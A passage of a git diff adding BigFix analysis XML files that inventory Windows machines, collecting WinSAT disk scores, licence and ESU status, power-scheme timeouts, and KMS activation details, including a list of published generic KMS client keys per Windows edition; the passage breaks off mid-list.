+    <Property ID="22" Name="HDD Sequential Read MB/s" EvaluationPeriod="P2D">unique values of (it as text as floating point) of xpaths &quot;/WinSAT/Metrics/DiskMetrics/AvgThroughput[@kind=&apos;Sequential Read&apos;]&quot; of xml documents of files whose(name of it ends with &quot;.WinSAT.xml&quot; AND name of it contains &quot;Assessment&quot; and exists xpath &quot;/WinSAT/Metrics/DiskMetrics/AvgThroughput[@kind=&apos;Sequential Read&apos;]&quot; of xml document of it) of folder &quot;Performance\WinSAT\DataStore&quot; of windows folder</Property>
+    <Property ID="23" Name="WEI run in past 90 days?" EvaluationPeriod="P2D">((exists folder &quot;Performance\WinSAT\DataStore&quot; of windows folder) AND (exists files whose(name of it ends with &quot;.WinSAT.xml&quot; AND name of it contains &quot;Assessment&quot;) of folder &quot;Performance\WinSAT\DataStore&quot; of windows folder) AND (1 &lt; (number of files whose(name of it ends with &quot;.WinSAT.xml&quot; AND name of it contains &quot;Assessment&quot; AND (&quot;0&quot; = (it as text) of xpath &quot;/WinSAT/CompletionStatus&quot; of xml document of it)) of folder &quot;Performance\WinSAT\DataStore&quot; of windows folder)) AND ((now - maximum of creation times of files whose(name of it ends with &quot;.WinSAT.xml&quot; AND name of it contains &quot;Assessment&quot; AND (&quot;0&quot; = (it as text) of xpath &quot;/WinSAT/CompletionStatus&quot; of xml document of it)) of folder &quot;Performance\WinSAT\DataStore&quot; of windows folder) &lt; 90*day))</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Windows License Information (2998636).bes b/Sites/Windows Management/Fixlets/Analyses/Windows License Information (2998636).bes
new file mode 100644
index 000000000..c8c802319
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Windows License Information (2998636).bes	
@@ -0,0 +1,54 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Windows License Information
+  ID       : 2998636
+  Author   : nathan
+  Domain   : BESC
+  Imported : 2021-01-14T19:32:22
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Windows License Information</Title>
+    <Description><![CDATA[<P>Reports Windows Licensing Information, majority of what is shown when running the command&nbsp;<STRONG>slmgr /dli. </STRONG>Includes information about Windows 7 ESU Licensing, including Year 2 ESU License information </P>
+<UL>
+<LI><STRONG>License Name</STRONG>
+<LI><STRONG>Description</STRONG>
+<LI><STRONG>Partial Product Key</STRONG>
+<LI><STRONG>License Status</STRONG>
+<LI><STRONG>License Family</STRONG>
+<LI><STRONG>KMS Server DNS Name</STRONG>
+<LI><STRONG>KMS Server Port</STRONG>
+<LI><STRONG>KMS Server IP Address</STRONG>
+<LI><STRONG>KMS machine extended PID</STRONG>
+<LI><STRONG>Activation Interval</STRONG>
+<LI><STRONG>Renewal Interval</STRONG></LI></UL>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 15 Jan 2021 03:30:44 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Windows License Status" EvaluationPeriod="PT12H">if ((select &quot;LicenseStatus from SoftwareLicensingProduct WHERE (PartialProductKey is not null) and (Name LIKE &apos;Windows(R)%25&apos; or Name LIKE &apos;Windows Server(R)%25&apos;) and not (Name LIKE &apos;%25ESU%25&apos;)&quot; of wmi) as string contains &quot;1&quot;) then &quot;Licensed&quot; else &quot;Not Licensed&quot;</Property>
+    <Property ID="2" Name="Windows License Name" EvaluationPeriod="PT12H">string value of select &quot;Name from SoftwareLicensingProduct WHERE (PartialProductKey is not null) and (Name LIKE &apos;Windows(R)%25&apos; or Name LIKE &apos;Windows Server(R)%25&apos;) and not (Name LIKE &apos;%25ESU%25&apos;)&quot; of wmi</Property>
+    <Property ID="3" Name="Windows License Activation KMS Server DNS Name" EvaluationPeriod="PT12H">string value of select &quot;DiscoveredKeyManagementServiceMachineName from SoftwareLicensingProduct WHERE (PartialProductKey is not null) and (Name LIKE &apos;Windows(R)%25&apos; or Name LIKE &apos;Windows Server(R)%25&apos;) and not (Name LIKE &apos;%25ESU%25&apos;)&quot; of wmi</Property>
+    <Property ID="4" Name="Windows License Family" EvaluationPeriod="PT12H">string value of select &quot;LicenseFamily from SoftwareLicensingProduct WHERE (PartialProductKey is not null) and (Name LIKE &apos;Windows(R)%25&apos; or Name LIKE &apos;Windows Server(R)%25&apos;) and not (Name LIKE &apos;%25ESU%25&apos;)&quot; of wmi</Property>
+    <Property ID="5" Name="Windows License Activation KMS Server IP Address" EvaluationPeriod="PT12H">(string value of select &quot;DiscoveredKeyManagementServiceMachineIpAddress from SoftwareLicensingProduct WHERE (PartialProductKey is not null) and (Name LIKE &apos;Windows(R)%25&apos; or Name LIKE &apos;Windows Server(R)%25&apos;) and not (Name LIKE &apos;%25ESU%25&apos;)&quot; of wmi) | &quot;No IP Address Reported&quot;</Property>
+    <Property ID="6" Name="Windows License Activation Interval" EvaluationPeriod="PT12H">string value of select &quot;VLActivationInterval from SoftwareLicensingProduct WHERE (PartialProductKey is not null) and (Name LIKE &apos;Windows(R)%25&apos; or Name LIKE &apos;Windows Server(R)%25&apos;) and not (Name LIKE &apos;%25ESU%25&apos;)&quot; of wmi</Property>
+    <Property ID="7" Name="Windows License Renewal Interval" EvaluationPeriod="PT12H">string value of select &quot;VLRenewalInterval from SoftwareLicensingProduct WHERE (PartialProductKey is not null) and (Name LIKE &apos;Windows(R)%25&apos; or Name LIKE &apos;Windows Server(R)%25&apos;) and not (Name LIKE &apos;%25ESU%25&apos;)&quot; of wmi</Property>
+    <Property ID="8" Name="Windows License KMS machine extended PID" EvaluationPeriod="PT12H">string value of select &quot;KeyManagementServiceProductKeyID from SoftwareLicensingProduct WHERE (PartialProductKey is not null) and (Name LIKE &apos;Windows(R)%25&apos; or Name LIKE &apos;Windows Server(R)%25&apos;) and not (Name LIKE &apos;%25ESU%25&apos;)&quot; of wmi</Property>
+    <Property ID="9" Name="Windows License Activation KMS Server Port" EvaluationPeriod="PT12H">string value of select &quot;KeyManagementServicePort from SoftwareLicensingProduct WHERE (PartialProductKey is not null) and (Name LIKE &apos;Windows(R)%25&apos; or Name LIKE &apos;Windows Server(R)%25&apos;) and not (Name LIKE &apos;%25ESU%25&apos;)&quot; of wmi</Property>
+    <Property ID="10" Name="Windows License Partial Product Key" EvaluationPeriod="PT12H">string value of select &quot;PartialProductKey from SoftwareLicensingProduct WHERE (PartialProductKey is not null) and (Name LIKE &apos;Windows(R)%25&apos; or Name LIKE &apos;Windows Server(R)%25&apos;) and not (Name LIKE &apos;%25ESU%25&apos;)&quot; of wmi</Property>
+    <Property ID="11" Name="Windows License Description" EvaluationPeriod="PT12H">string value of select &quot;Description from SoftwareLicensingProduct WHERE (PartialProductKey is not null) and (Name LIKE &apos;Windows(R)%25&apos; or Name LIKE &apos;Windows Server(R)%25&apos;) and not (Name LIKE &apos;%25ESU%25&apos;)&quot; of wmi</Property>
+    <Property ID="12" Name="Windows License ESU Name - Year 1" EvaluationPeriod="PT12H">string value of select &quot;Name from SoftwareLicensingProduct WHERE (PartialProductKey is not null) and (Name LIKE &apos;Windows(R)%25&apos; or Name LIKE &apos;Windows Server(R)%25&apos;) and (Name LIKE &apos;%25ESU-Year1%25&apos;)&quot; of wmi | &quot;No ESU License&quot;</Property>
+    <Property ID="13" Name="Windows License ESU Description - Year 1" EvaluationPeriod="PT12H">string value of select &quot;Description from SoftwareLicensingProduct WHERE (PartialProductKey is not null) and (Name LIKE &apos;Windows(R)%25&apos; or Name LIKE &apos;Windows Server(R)%25&apos;) and (Name LIKE &apos;%25ESU-Year1%25&apos;)&quot; of wmi | &quot;No ESU License&quot;</Property>
+    <Property ID="14" Name="Windows License ESU Partial Product Key - Year 1" EvaluationPeriod="PT12H">string value of select &quot;PartialProductKey from SoftwareLicensingProduct WHERE (PartialProductKey is not null) and (Name LIKE &apos;Windows(R)%25&apos; or Name LIKE &apos;Windows Server(R)%25&apos;) and (Name LIKE &apos;%25ESU-Year1%25&apos;)&quot; of wmi | &quot;No ESU License&quot;</Property>
+    <Property ID="15" Name="Windows License ESU Status - Year 1" EvaluationPeriod="PT12H">(if ((string value of select &quot;LicenseStatus from SoftwareLicensingProduct WHERE (PartialProductKey is not null) and (Name LIKE &apos;Windows(R)%25&apos; or Name LIKE &apos;Windows Server(R)%25&apos;) and (Name LIKE &apos;%25ESU-Year1%25&apos;)&quot; of wmi) as string contains &quot;1&quot;) then &quot;Licensed&quot; else &quot;Not Licensed&quot; ) | &quot;No ESU License&quot;</Property>
+    <Property ID="16" Name="Windows License ESU Name - Year 2" EvaluationPeriod="PT12H">string value of select &quot;Name from SoftwareLicensingProduct WHERE (PartialProductKey is not null) and (Name LIKE &apos;Windows(R)%25&apos; or Name LIKE &apos;Windows Server(R)%25&apos;) and (Name LIKE &apos;%25ESU-Year2%25&apos;)&quot; of wmi | &quot;No ESU License&quot;</Property>
+    <Property ID="17" Name="Windows License ESU Description - Year 2" EvaluationPeriod="PT12H">string value of select &quot;Description from SoftwareLicensingProduct WHERE (PartialProductKey is not null) and (Name LIKE &apos;Windows(R)%25&apos; or Name LIKE &apos;Windows Server(R)%25&apos;) and (Name LIKE &apos;%25ESU-Year2%25&apos;)&quot; of wmi | &quot;No ESU License&quot;</Property>
+    <Property ID="18" Name="Windows License ESU Partial Product Key - Year 2" EvaluationPeriod="PT12H">string value of select &quot;PartialProductKey from SoftwareLicensingProduct WHERE (PartialProductKey is not null) and (Name LIKE &apos;Windows(R)%25&apos; or Name LIKE &apos;Windows Server(R)%25&apos;) and (Name LIKE &apos;%25ESU-Year2%25&apos;)&quot; of wmi | &quot;No ESU License&quot;</Property>
+    <Property ID="19" Name="Windows License ESU Status - Year 2" EvaluationPeriod="PT12H">(if ((string value of select &quot;LicenseStatus from SoftwareLicensingProduct WHERE (PartialProductKey is not null) and (Name LIKE &apos;Windows(R)%25&apos; or Name LIKE &apos;Windows Server(R)%25&apos;) and (Name LIKE &apos;%25ESU-Year2%25&apos;)&quot; of wmi) as string contains &quot;1&quot;) then &quot;Licensed&quot; else &quot;Not Licensed&quot; ) | &quot;No ESU License&quot;</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Windows Power Scheme Settings (2994768).bes b/Sites/Windows Management/Fixlets/Analyses/Windows Power Scheme Settings (2994768).bes
new file mode 100644
index 000000000..3dcec678b
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Windows Power Scheme Settings (2994768).bes	
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Windows Power Scheme Settings
+  ID       : 2994768
+  Author   : JasonWalker
+  Domain   : BESC
+  Imported : 2015-03-27T08:26:05
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Windows Power Scheme Settings</Title>
+    <Description><![CDATA[<P>Retrieves several&nbsp;values from the current Windows Power Scheme settings.&nbsp; The value that is currently in effect is displayed; this may be a user-overridden value, or defaults for the current Power Scheme. </P>
+<P>This should be able to retrieve power settings for Windows Vista and higher.&nbsp; It has been tested with Windows 7, Windows 2008, and Windows 2008 R2.</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>if exists property &quot;in proxy agent context&quot; then not in proxy agent context else true</Relevance>
+    <Relevance><![CDATA[version of operating system >= "6" as version]]></Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 27 Mar 2015 15:24:08 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Power Scheme Name" EvaluationPeriod="PT12H">preceding text of last &quot;%00&quot; of following text of last &quot;,&quot; of (value &quot;FriendlyName&quot; of key (value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry as string) of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry as string as trimmed string)</Property>
+    <Property ID="2" Name="Power Scheme GUID" EvaluationPeriod="PT12H">(value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry) as string as trimmed string</Property>
+    <Property ID="3" Name="Video power down timeout (AC)" EvaluationPeriod="PT12H">if exists (key (&quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes\&quot; &amp; (value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry) as string as trimmed string &amp; &quot;\7516b95f-f776-4464-8c53-06167f40cc99\3c0bc021-c8a8-4e07-a973-6b14cbcb2b7e&quot;) of native registry) whose (exists value &quot;ACSettingIndex&quot; of it) then value &quot;ACSettingIndex&quot; of key (&quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes\&quot; &amp; (value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry) as string as trimmed string &amp; &quot;\7516b95f-f776-4464-8c53-06167f40cc99\3c0bc021-c8a8-4e07-a973-6b14cbcb2b7e&quot;) of native registry as string else if exists (key (&quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\7516b95f-f776-4464-8c53-06167f40cc99\3c0bc021-c8a8-4e07-a973-6b14cbcb2b7e\DefaultPowerSchemeValues\&quot; &amp; (value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry) as string as trimmed string) of native registry) whose (exists value &quot;ACSettingIndex&quot; of it) then value &quot;ACSettingIndex&quot; of key (&quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\7516b95f-f776-4464-8c53-06167f40cc99\3c0bc021-c8a8-4e07-a973-6b14cbcb2b7e\DefaultPowerSchemeValues\&quot; &amp; (value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry) as string as trimmed string) of native registry as string else &quot;&lt;not found&gt;&quot;</Property>
+    <Property ID="4" Name="Harddisk power down timeout (AC)" EvaluationPeriod="PT12H">if exists (key (&quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes\&quot; &amp; (value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry) as string as trimmed string &amp; &quot;\0012ee47-9041-4b5d-9b77-535fba8b1442\6738e2c4-e8a5-4a42-b16a-e040e769756e&quot;) of native registry) whose (exists value &quot;ACSettingIndex&quot; of it) then value &quot;ACSettingIndex&quot; of key (&quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes\&quot; &amp; (value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry) as string as trimmed string &amp; &quot;\0012ee47-9041-4b5d-9b77-535fba8b1442\6738e2c4-e8a5-4a42-b16a-e040e769756e&quot;) of native registry as string else if exists (key (&quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\0012ee47-9041-4b5d-9b77-535fba8b1442\6738e2c4-e8a5-4a42-b16a-e040e769756e\DefaultPowerSchemeValues\&quot; &amp; (value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry) as string as trimmed string) of native registry) whose (exists value &quot;ACSettingIndex&quot; of it) then value &quot;ACSettingIndex&quot; of key (&quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\0012ee47-9041-4b5d-9b77-535fba8b1442\6738e2c4-e8a5-4a42-b16a-e040e769756e\DefaultPowerSchemeValues\&quot; &amp; (value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry) as string as trimmed string) of native registry as string else &quot;&lt;not found&gt;&quot;</Property>
+    <Property ID="5" Name="System standby timeout (AC)" EvaluationPeriod="PT12H">if exists (key (&quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes\&quot; &amp; (value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry) as string as trimmed string &amp; &quot;\238C9FA8-0AAD-41ED-83F4-97BE242C8F20\29f6c1db-86da-48c5-9fdb-f2b67b1f44da&quot;) of native registry) whose (exists value &quot;ACSettingIndex&quot; of it) then value &quot;ACSettingIndex&quot; of key (&quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes\&quot; &amp; (value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry) as string as trimmed string &amp; &quot;\238C9FA8-0AAD-41ED-83F4-97BE242C8F20\29f6c1db-86da-48c5-9fdb-f2b67b1f44da&quot;) of native registry as string else if exists (key (&quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\238C9FA8-0AAD-41ED-83F4-97BE242C8F20\29f6c1db-86da-48c5-9fdb-f2b67b1f44da\DefaultPowerSchemeValues\&quot; &amp; (value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry) as string as trimmed string) of native registry) whose (exists value &quot;ACSettingIndex&quot; of it) then value &quot;ACSettingIndex&quot; of key (&quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\238C9FA8-0AAD-41ED-83F4-97BE242C8F20\29f6c1db-86da-48c5-9fdb-f2b67b1f44da\DefaultPowerSchemeValues\&quot; &amp; (value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry) as string as trimmed string) of native registry as string else &quot;&lt;not found&gt;&quot;</Property>
+    <Property ID="6" Name="System hibernation timeout (AC)" EvaluationPeriod="PT12H">if exists (key (&quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes\&quot; &amp; (value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry) as string as trimmed string &amp; &quot;\238C9FA8-0AAD-41ED-83F4-97BE242C8F20\9d7815a6-7ee4-497e-8888-515a05f02364&quot;) of native registry) whose (exists value &quot;ACSettingIndex&quot; of it) then value &quot;ACSettingIndex&quot; of key (&quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes\&quot; &amp; (value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry) as string as trimmed string &amp; &quot;\238C9FA8-0AAD-41ED-83F4-97BE242C8F20\9d7815a6-7ee4-497e-8888-515a05f02364&quot;) of native registry as string else if exists (key (&quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\238C9FA8-0AAD-41ED-83F4-97BE242C8F20\9d7815a6-7ee4-497e-8888-515a05f02364\DefaultPowerSchemeValues\&quot; &amp; (value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry) as string as trimmed string) of native registry) whose (exists value &quot;ACSettingIndex&quot; of it) then value &quot;ACSettingIndex&quot; of key (&quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\238C9FA8-0AAD-41ED-83F4-97BE242C8F20\9d7815a6-7ee4-497e-8888-515a05f02364\DefaultPowerSchemeValues\&quot; &amp; (value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry) as string as trimmed string) of native registry as string else &quot;&lt;not found&gt;&quot;</Property>
+    <Property ID="7" Name="Lock Console when System Wakes (AC)" EvaluationPeriod="PT12H">if exists (key (&quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes\&quot; &amp; (value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry) as string as trimmed string &amp; &quot;\0E796BDB-100D-47D6-A2D5-F7D2DAA51F51&quot;) of native registry) whose (exists value &quot;ACSettingIndex&quot; of it) then value &quot;ACSettingIndex&quot; of key (&quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes\&quot; &amp; (value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry) as string as trimmed string &amp; &quot;\0E796BDB-100D-47D6-A2D5-F7D2DAA51F51&quot;) of native registry as string else if exists (key (&quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\0E796BDB-100D-47D6-A2D5-F7D2DAA51F51\DefaultPowerSchemeValues\&quot; &amp; (value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry) as string as trimmed string) of native registry) whose (exists value &quot;ACSettingIndex&quot; of it) then value &quot;ACSettingIndex&quot; of key (&quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\0E796BDB-100D-47D6-A2D5-F7D2DAA51F51\DefaultPowerSchemeValues\&quot; &amp; (value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry) as string as trimmed string) of native registry as string else &quot;&lt;not found&gt;&quot;</Property>
+    <Property ID="8" Name="Hibernate Enabled" EvaluationPeriod="PT12H">if exists (key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power&quot; of native registry) whose (exists value &quot;HibernateEnabled&quot; of it) then value &quot;HibernateEnabled&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power&quot; of native registry as string else &quot;&lt;not found&gt;&quot;</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Windows Software Protection Licensing Information - KMS - Windows (2998367).bes b/Sites/Windows Management/Fixlets/Analyses/Windows Software Protection Licensing Information - KMS - Windows (2998367).bes
new file mode 100644
index 000000000..16ee190ba
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Windows Software Protection Licensing Information - KMS - Windows (2998367).bes	
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Windows Software Protection Licensing Information - KMS - Windows
+  ID       : 2998367
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2016-08-24T18:06:42
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Windows Software Protection Licensing Information - KMS - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 25 Aug 2016 01:04:22 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="SoftwareLicensingProducts" EvaluationPeriod="PT12H">string values of selects &quot;name from SoftwareLicensingProduct WHERE PartialProductKey is not NULL&quot; of wmis</Property>
+    <Property ID="2" Name="LicenseFamily" EvaluationPeriod="PT12H">string values of selects &quot;LicenseFamily from SoftwareLicensingProduct WHERE PartialProductKey is not NULL&quot; of wmis</Property>
+    <Property ID="3" Name="ProductKeyChannel" EvaluationPeriod="PT6H">string values of selects &quot;ProductKeyChannel from SoftwareLicensingProduct WHERE PartialProductKey is not NULL&quot; of wmis</Property>
+    <Property ID="4" Name="License State" EvaluationPeriod="PT1H">tuple string items (integer values of selects &quot;LicenseStatus from SoftwareLicensingProduct WHERE PartialProductKey is not NULL&quot; of wmis) of &quot;Unlicensed, Licensed, OOB Grace, OOT Grace, NonGenuineGrace, Notification, UNKNOWN&quot;</Property>
+    <Property ID="5" Name="Grace Period Expiration" EvaluationPeriod="PT1H">(it * minute + now) whose(it &gt; now) of integer values of selects &quot;GracePeriodRemaining from SoftwareLicensingProduct WHERE PartialProductKey is not NULL&quot; of wmis</Property>
+    <Property ID="6" Name="Partial Product Key" EvaluationPeriod="PT6H">string values of selects &quot;PartialProductKey from SoftwareLicensingProduct WHERE PartialProductKey is not NULL&quot; of wmis</Property>
+    <Property ID="7" Name="KMS Server" EvaluationPeriod="PT12H">unique values of (it as string; string values of selects &quot;KeyManagementServiceMachine from SoftwareLicensingProduct WHERE PartialProductKey is not NULL&quot; of wmis) of (values &quot;DiscoveredKeyManagementServiceName&quot; of it; values &quot;KeyManagementServiceName&quot; of it) of (keys &quot;HKEY_USERS\S-1-5-20\Software\Microsoft\Windows NT\CurrentVersion\SL&quot; of it; keys of keys of keys &quot;HKEY_USERS\S-1-5-20\Software\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform&quot; of it; keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform&quot; of it) of (x64 registries; x32 registries)</Property>
+    <Property ID="8" Name="BackupProductKeyDefault" EvaluationPeriod="PT12H">unique values of (it as string) of values &quot;BackupProductKeyDefault&quot; of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform&quot; of (x64 registries; x32 registries)</Property>
+    <Property ID="9" Name="KMS activation key for current edition" EvaluationPeriod="PT12H">((it as trimmed string) of preceding text of first &quot;, &quot; of following text of first ( (&quot;, &quot; &amp; it &amp; &quot;,&quot;) of (it as trimmed string) of ( (preceding text of last &quot;Pro&quot; of it &amp; &quot;Professional&quot; &amp; following text of last &quot;Pro&quot; of it) | it) of unique values of (it as string as trimmed string) of values &quot;ProductName&quot; of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of (x64 registries; x32 registries) ) of it) of (&quot;NULL, Windows Server 2016 Datacenter, CB7KF-BWN84-R7R2Y-793K2-8XDDG, Windows Server 2016 Standard, WC2BQ-8NRM3-FDDYY-2BFGV-KHKQY, Windows Server 2016 Essentials, JCKRF-N37P4-C2D82-9YXRT-4M63B, &quot;&amp;&quot;Windows 10 Professional, W269N-WFGWX-YVC9B-4J6C9-T83GX, Windows 10 Professional N, MH37W-N47XK-V7XM9-C7227-GCQG9, Windows 10 Enterprise, NPPR9-FWDCX-D2C8J-H872K-2YT43, Windows 10 Enterprise N, DPH2V-TTNVB-4X9Q3-TJR4H-KHJW4, &quot;&amp;&quot;Windows 10 Education, NW6C2-QMPVW-D7KKK-3GKT6-VCFB2, Windows 10 Education N, 2WH4N-8QGBV-H22JP-CT43Q-MDWWJ, Windows 10 Enterprise 2015 LTSB, WNMTR-4C88C-JK8YV-HQ7T2-76DF9, Windows 10 Enterprise 2015 LTSB N, 2F77B-TNFGY-69QQF-B8YKP-D69TJ, Windows 10 Enterprise 2016 LTSB, DCPHK-NFMTC-H88MJ-PFHPY-QJ4BJ, Windows 10 Enterprise 2016 LTSB N, QFFDN-GRT3P-VKWWX-X7T3R-8B639, &quot;&amp;&quot;Windows 8.1 Professional, GCRJD-8NW9H-F2CDX-CCM8D-9D6T9, Windows 8.1 Professional N, HMCNV-VVBFX-7HMBH-CTY9B-B4FXY, Windows 8.1 Enterprise, MHF9N-XY6XB-WVXMC-BTDCT-MKKG7, Windows 8.1 Enterprise N, TT4HM-HN7YT-62K67-RGRQJ-JFFXW, &quot;&amp;&quot;Windows Server 2012 R2 Server Standard, D2N9P-3P6X9-2R39C-7RTCD-MDVJX, Windows Server 2012 R2 Datacenter, W3GGN-FT8W3-Y4M27-J84CP-Q3VJ9, Windows Server 2012 R2 Essentials, KNC87-3J2TX-XB4WP-VCPJV-M4FWM, &quot;&amp;&quot;Windows 8 Professional, NG4HW-VH26C-733KW-K6F98-J8CK4, Windows 8 Professional N, XCVCF-2NXM9-723PB-MHCB7-2RYQQ, Windows 8 Enterprise, 32JNW-9KQ84-P47T8-D8GGY-CWCK7, Windows 8 Enterprise N, 